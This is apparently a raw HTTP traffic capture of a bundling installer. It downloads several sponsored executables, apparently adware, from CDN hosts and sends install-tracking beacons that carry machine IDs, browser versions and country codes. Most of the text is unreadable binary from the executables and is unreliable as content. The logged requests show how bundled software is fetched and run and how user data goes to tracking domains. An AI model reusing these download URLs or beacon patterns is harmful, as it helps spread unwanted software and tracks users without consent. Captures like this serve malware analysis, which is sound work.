I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 23 Mar 2015 21:39:23 GMT

Content-Range: bytes 0-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bdtRiJGrnDn2K8AcYweOvcvPtDWEMR36bGriWB9T6Vh5Ge6olQFgFA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



W.~}..fh..99....~...k...d...]...Z...T...R...Q...S.#!T.21T.<:O.64:. 
)).FDD.gffs...........................................................
.....................................]\Z.10 .......F.....&&..&'.......
.u...V...N...H...G.""H.98M.TQ[.ebg.rqq.~|..........ECC.^\].~||....i...
5.....................................................................
...................]YY.(&E...N...p...............u...Q...C...@./.B.?&g
t;F.HFD.KIE.IGE.GFC.FEC.GEC.JIE.LJJ.GFF.RPP.[YY.fdd.mkk.{yy....;......
......................................................................
....BB........_...e.......s...L...B.-,D.BAG.DCB.?<;.632.10/.0//.311
.744.967.:99.=::.543.644.A??.IGG.NLK.NLL.ROO.a``.rrq}{|y..............
.......................................................yq............b
...U...:.##6.GFH.TPO.LIF.966.-* .'&$.'&%.)''.,**./-..200.644.977.:88.1
00.866.FDD.USS.dbb.jhh.dbb.PNN.MLK.[YZ.jjj3...........................
.........................................!!....o...P.66H.ROR.ZXX.PNL.A
?>.422. )).'%%.%##.%##.&$$.(&&.,**..,,.1//.422.311..,,.422.><
<.LJJ.a__.qoo.}{{.zww.daa.IFG.LLL.ccc=.............................
...............................xs..BB..KHl.dbe.dca.ZWX.MJK.B>@.:88.
411.,)).'$%." !.!. ."!!.$"#.(&&.)((.,**./--.-  . ))..,,.755.CAA.WUU.hf
f.xuu.........plm.AAA.HHH.vvu#................................ccf.BBB.
bbc.dde....?.........~|.vtq.hee.ZXX.SQQ.MKJ.EBC.>;;.643., ).&#$.!. 
......... ..."  .$"".&$$.*((.)''.)''.-  .311.<::.LJJ.ZXX.igg.wst..|
}.....nkk.?=>.WVW.........................SSS%>>?UBBCuCCC<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: FGv2cduwUuNsXITAQcJKvMxQ2LB YllOz5755GGlfU7Lejj0Blp4gPEheilwbhx9uTldQHW GZ4=

x-amz-request-id: 7F9E74EA56356945

Last-Modified: Wed, 22 Apr 2015 05:19:43 GMT

ETag: "34d8da575da8decd14eff373fd1a7033"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4738214
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



)...c#....J%.&.....v.a..s..tz..|.7I.......D.<r[zq}|.....Q......@...
[email protected]..;G5.\a.2....Y]....LD..|..."e...D
!.c....3HHd..(Q.zFQ.....f.)G...-.H`&<..d..."..C/..,........j...O.w.
..~......?T\....}............O... ...{......d.6C.&A....a|.J=.<(#...
.....4vn.....0.......sd,.!s...]-c).V .H.FW.h.\l).G3... t.c.a.<.G._.
..!..Q.0...p....ih.......q.d...#..#h....f..&.....o.....H.....J)R0.]..q
......O..kb.]..2.lT..`;...b.<...I.(.>.......H.9.L=y..A.fU.0.{...
.........!7Cz@T.^-..... 4... ......K..hJ.8.3<d.w.i.]5"...........[%
V....KQ.........|d.\Z..6.qt. ...P...2Q0....|;..h.(...`N.SN...$.{{.-.&g
t;2....L).n~..5zS..v...t.Z?.._..L.9b..."vQ...RJ..[......h..)`..U._..V.
..dR*fE.i.8t9.......;...H.q`.0u...r.. .,F..Vbo.g;/E.%....i].% w...}..2
.J.l27..<...K.!..#..b11N......?...>.V...C..tw?......./Z!N*h.l...
A..?'.f.._..IH..kWNvr.....H.b...,K..-....g...2....Kc(..yDB.3.. <a..
K....s.../....&.......^>h.%.s..DMP..1..>5..`...A8A&kY......X&..1
..T..A ..5...$..]..9.8.........v.N..^[email protected].*r.....*.&........
.#e!....28...........Z(...K...;z...W...j.-X[.g:.|...w.9.O.IW..E.|.6...
.6m....PA/n:.b.L...5..Z,[email protected]$H~.t...@P%2......Vx......%
A..w.Rx..I..L....H..T.")"t.......Mj......3b4.I7.8...S.GN.(R.....DS....
%:h.......2......;..'...}........{R...Hl?%S.*.l0.r.`..!.....H...%....]
.....`................l.NbPg]L..hfL..S.`.z3..s.%N.4Y...v.G0`.\).y?...6
....N.1a..y.Fu......B.....B9*...~D&..O.....pJ.r.^..>[email protected]...
....T...........W....X........?-..ex9.....>.J.^Z.}e.....!..%.Hf<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4738213

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: aaf9uu-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



.p.y....#x..........N .Wm$.6..)=.2...44.DG.P.f...t.....:.;#O9.A.*.3...
Q..r.42]3pf..K..wudb..S.KE.b...m.....!...\..}~#E.`y...X......2I..$t...
.........J..a.....7..gg....< .....s.....(....<c4> .. pw.....2
@T...Y....6z3.gPSu)[email protected].\......#..>..$HJ.....b.vUm.[.H.(....
O.h!_|.x.:...V./LB...V....6. (..__L.t..P.....Fz......w....sa....A...]V
."<....a.;......m.~.W....A7U.....GX).......d.... ..Yv...#M....-..O.
.12%..B.......)...ZU...g.L....,[email protected].}...6..BW...
'B..#j.V1q..y.......2e...^h...7...?.............pY.?|.mP6..:!.........
`67B......]...!M.l.R.....c..|.y......8)>.....k.............A.A...].
w......0.Hur.8.c.......7X%..*aR*........d.. 2.E9u.........Jd..\X...\'.
6.F..f...A..#.%.TF4^i...F...E.N.a........GS.=y0.......&.Bc.....Bn.. ..
.n..i....Q).F.c..[..a.%...w.`{3&.~.!_....?..B...<,...U......m...!.9
1............Y..Gl.$h`U.Z.P.c..-.O...u^...a.'.._...!.i3L.G.6.]..nR.S^.
..,.H},.?..<..p.Nz.\.n... ..6P.a7...G|.q......5...n2.s........P.X..
:q.....ql@#..D.$...}......}6.....S.>...7...m9.G..g<.....8..c..z.
.zN.e....tQ.).5...Ax.a-.J...........K4~_..2g..F"z..G.Jg:[..9.9.R.3.KB.
g.v.a...P...@!.;..... w...D..%l....P.w...&0.....'l..f).<.7?..#)C5a&
gt;...2.}..P..4R..2kp...FU..o....I".Q*...j...S....|.........t%...._Z,.
]...qy.8.........x.$.w.UX...(E....p....V....l..#_..W.....1.cf*.^^...7O
....pf"V..H....n$F ...&....%... ...P....|.`.7................_u..).c2.
...I......Ey,*.s.h..s"`..Tev..v..w..e.Y.k..qe.v/kV!*.a........t..=.:6%
l\..R.&VK[...g.....m..........r(o^.....*.d.6.....=......G4.Gci.3..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: zD6NBX4e5LHAD1DNqtL9N43IApFPsTOaOlhy7x9hXhMoEFgYvTo7Tgz5Gfrok7A2

x-amz-request-id: 507EE5BFB8F8322E

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-988407/988408

Content-Type: application/octet-stream

Content-Length: 741306

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /pin.gif?e=download&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:07 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:07 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=downloadsuc&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:07 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:07 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=downloadend&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&v=4.1.0.13&ec=0 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:15 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:15 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..

GET /sd?is=sm HTTP/1.1

Range: bytes=392448-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 392448-523263/523264

Content-Length: 130816

Connection: keep-alive
.l.\...l..:B\k..I.V#...B.............. !...z. 3).5.9..........y..{.u;U
};.*..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9.........e..
..`.2.........|.I}6...%....F....4....[9....... (.....C..G~...Y0gs-.a..
3..j..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c..h..7..
. W...:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"....f..s
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F.....u0C..
.....Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.=b...*c&
..8.C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`bie.L...
S1._..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...0.H...Qv
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e....Gg_g\..
...HP.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz..wS.s..
......Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.M....p..
w..-."#.(..)...6.y.=h......P..J.,|.p....(.9y...|[email protected],.
*.......N..W/.Y..H.ED.....UT.<...K."._1......\j......)r.....\.s....
...v.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..HQ4?....K
;Di.|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.(...1KBA
70..T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F.............
..,wlB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L.wW.....
DQ.X0X..........,..v.....]..[j......S.5..."...V"^..9......&.9..\......
..{..!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m.........ss...
.........o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...BB.gK.a..
2........)T.............((..A.....&.H5........y> ..v..G......S.<<< skipped >>>

GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905 HTTP/1.1

Host: logs.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:01 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429690922.dop010.am4.t,1429690921.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 22 Apr 
2015 08:22:01 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1429690922.dop010.am4.t,1429690921.
cds058.am4.c..GIF89a.............,...........D..;..

GET /pin.gif?e=download&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:06 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:06 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=downloadsuc&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:07 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:21:07 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....

GET /pin.gif?e=downloadend&s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13&ec=0 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0

Host: stat.webprotectionfree.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:21:13 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;..

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=293108-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 293106

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 293108-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 a7ff8407dd3b3befd5f1244b3435b471.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HQbYr21LBPoFwZuY4VzUaE4QwdEegW3iR54BmaXOka0-F829_INkdg==
.>......z.....N.6.s.>%X,......d".=.g..!*.v/..3$....=....Ed>F.
..?X..?P.i.^gU.$..gx.0. }./..n8.D...v...y..{h...Ig"IY.oL..i.N...K.X..a
d....O...;..k*....&........9f.Ch;.Po.b......,..?JU.'.K..,[email protected].
........D...R.5:...'.0....'..~..8...g.7.E.r...l..].L..!.?@X...._F....h
...%a.^e`.V........~m. ~.6j.....f...K....l#L..Ww./..3x.Gr1...6'......B
1.bt.]\[email protected].......<.Z..cCD4z.._.5m.@.(.ht^;...R.O.u
....S..}...K......l...d2S.).............;.....2..m.^P}.....'{.RGI..A..
A.o. .O.k.<...e..0.x.}!..I.k|Z.........Q..cL.K9$.y..}.`<F...fl..
[email protected]_e*!.QP........&d...j.....A.....-....{/.....c..=....>(
.. [email protected](....3..k...N.'[email protected]
.s..{=e......Y...}..U.>....my..Z.").^6w .|.....&..,mX`........-....
1...JQp....\....V=\.^.......}../[email protected]....`.p.
E...X$Q=... .k...........WiZ..}W...1.Ij.'",Ip.k1.fG.h...h3.\c...b./.K.
".o<.O...P..hG.LG....D.......Bl...A4....j..&..r..t..E....UOQ.......
~`i.DQ.s....7... ......B.........V=.=..W..zn.X(..!?..H...'..^...}U.H.l
....a.....k_ZQ%s..!.u..9.,.RG(.$jQjF-.~f..P.,.u..W',..)....$....M.U...
C..9>F%.n.If.U...V.! Y..j.7.3.d..W..y.>..4.......G...4(..M>..
.F.`'.x...b......z....d.;~.X.. .!(........P.$.w.F..r..0 l.^u..w.Ry....
.y...................E.'.N.........u.........C....?..C.....].....Q...=
..Q.Li!....K....>[.R...'.f....-^Ik.@.#.kC.......}....E..(.s..UCF.vi
97t3@...<k3...<.....G...p\..|...;..-5...F.......6.b....?... F...
Z...4xn.Q...h{..i..g4.uLF.9..Soo ...R....}.O.  ...}..........9(..u<<< skipped >>>

GET /v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Wed, 22 Apr 2015 08:23:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 22 Apr 2015 08:23:42 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..0
..

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9161289952713647 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

